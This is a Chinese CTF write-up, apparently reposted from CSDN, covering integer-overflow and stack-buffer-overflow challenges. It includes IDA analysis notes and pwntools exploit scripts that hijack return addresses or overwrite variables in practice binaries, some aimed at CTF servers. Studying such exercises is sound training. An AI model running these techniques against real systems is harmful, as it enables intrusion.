CTF笔记:溢出利用

整数溢出

在这里插入图片描述

典型整数溢出利用

这个 v3 是一个无符号数,最大只能 255,如果超过的话就会进行 mod 255所以可以传入一个总共是 0x105 的,

这样他的得到的就是 6 是符合长度限制的,从而绕过 if 的检测dest 的大小是 0x11h,加上 ebp 的 0x4h,所以需要在前面填充 0x15h
在这里插入图片描述

后门程序

exp:

python2
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',29748)
 
p.recvuntil("name:")
payload=(0x11+0x4)*'a'+p32(0x0804858B)
payload=payload.ljust(262,'a')
p.sendline(payload)
 
p.interactive()
python 
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',29748)
p.recvuntil("name:")
payload=(0x11+0x4)*b'a'+p32(0x0804858B)
payload=payload.ljust(262,b'a')
p.sendline(payload)
 
p.interactive()

CTF 3rd 2017-just_do_it

在这里插入图片描述

进入32位ida分析
在这里插入图片描述

观察到程序流程大概是将flag读取并保存到一个全局变量中,在程序最后比较输入,正确则打印正确否则打印错误。我们观察s位于[ebp-0x20]处,输入的fgets最多输入32个字符,无法覆盖到ret。但是我们发现puts所打印的参数v6位于[ebp-Ch]相距输入点s只有20字符就可以覆盖到。又由于程序将flag读取到了全局变量中,因此可以通过输入覆盖v6为flag从而打印出flag。

在这里插入图片描述

 #!/usr/bin/python
#coding:utf-8
from pwn import *
io = process('./just_do_it')
flag_addr = 0x0804A080
payload = ''                    
payload += 'A'*20
payload += p64(flag_addr)
print io.recv()
io.sendline(payload)
print io.recv()

在这里插入图片描述

sCTF 2016 q1-pwn1

在这里插入图片描述

题目开启NX保护,并且为32位动态链接的ELF程序

在这里插入图片描述

在这里插入图片描述

观察变量和语句,发现可能存在溢出的地方为fgets,但是s在栈中距离ebp有3C的距离,而fgets只能输入32个字符,远远无法到达ebp或者ret。继续往下看,发现replace函数,字面意思替换,又看到you和I字符,猜想是否有可能将I替换成you字符,我们执行程序试一下
在这里插入图片描述

我们发现猜想正确。我们注意到函数最后有strcpy函数,他将v0即我们的输入后替换的字符串保存到s中,由于我们输入一个I实际上拷贝入s的是3个字符,3*32=96>0x3c,发生栈溢出。我们通过输入21个I另外加一个任意字符(因为21个I为21个you,即为63个字符,需要额外一个字符填充到64字符)之后加上get_flag函数的地址即覆盖函数返回值劫持成功。
在这里插入图片描述

#coding:utf-8
from pwn import *
io = process('./pwn1')
get_flag_addr = 0x08048f0d
payload = ''                    
payload += 'I'*21+'a'
payload += p32(get_flag_addr)
io.sendline(payload)
print io.recv()

EasyCTF 2017-doubly_dangerous

在这里插入图片描述

在这里插入图片描述

显然存在栈溢出漏洞存在两种思路:

  1. 覆盖RIP为give_flag地址,执行give_flag函数
  2. 覆盖v5的值为11.28125,使其通过判断执行give_flag函数

通过尝试发现,按照第一种思路会出错,无法成功返回give_flag函数
在这里插入图片描述

第二种思路。首先定位判断语句,应该在gets函数调用紧接着的后面

在这里插入图片描述

可以看到比较的变量地址分别是ebp-C0x0804876C。接着就只剩下两个问题:确定用户输入与ebp-C的偏移量以及11.28125的十六进制值

在输出nope!的指令处下断点(断点位置合适即可
在这里插入图片描述
运行查看堆栈
在这里插入图片描述

ebp-c地址
在这里插入图片描述

计算出偏移值

0xffffd8ac- 0xffffd86c = 0x40 = 64

使用IDA HEX视图确定11.28125的值
在这里插入图片描述

浮点数使用大端方式储存,所以是0x41348000

from pwn import *
io = process('./doubly_dangerous')
floatValue = 0x41348000
payload = ''
payload += 'A'*0x40
payload += p32(floatValue)
io.recvuntil('Give me a string:')
io.sendline(payload)
io.interactive()

CTF-gets函数

丢进IDA看一下:

看到了熟悉的gets()函数,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出,再看sprint()函数

在这里插入图片描述

进入sub_40060D中看一下:

在这里插入图片描述

gdb-peda 获取偏移方式
在这里插入图片描述

接收参数之前输入

在这里插入图片描述

计算偏移

在这里插入图片描述

可以看到这个函数是获取flag的关键点,程序会打印出此函数的位置,即0x40060d,我们需要控制溢出位置,把返回地址改为此函数的地址,我们当前函数的返回值位于RBP+8的位置,因此溢出点可以通过计算得出:40H+8H=48H=72,因此

#!/usr/bin/python
from pwn import *
r = remote('192.168.229.128', 10001)
r.recvuntil('WOW:')
address = r.recvuntil('\n')[:-1]
payload = 'A' * 72 + p64(int(address, 16))
r.writeline(payload)
r.interactive()
from pwn import *
r = remote('192.168.229.128', 10001)
r.recvuntil('WOW:')
address = r.recvuntil('\n')[:-1]
payload = 'A' * 72 + p64(int(address, 16))
r.writeline(payload)
r.interactive()

猜你喜欢

转载自blog.csdn.net/qq_37431937/article/details/124854060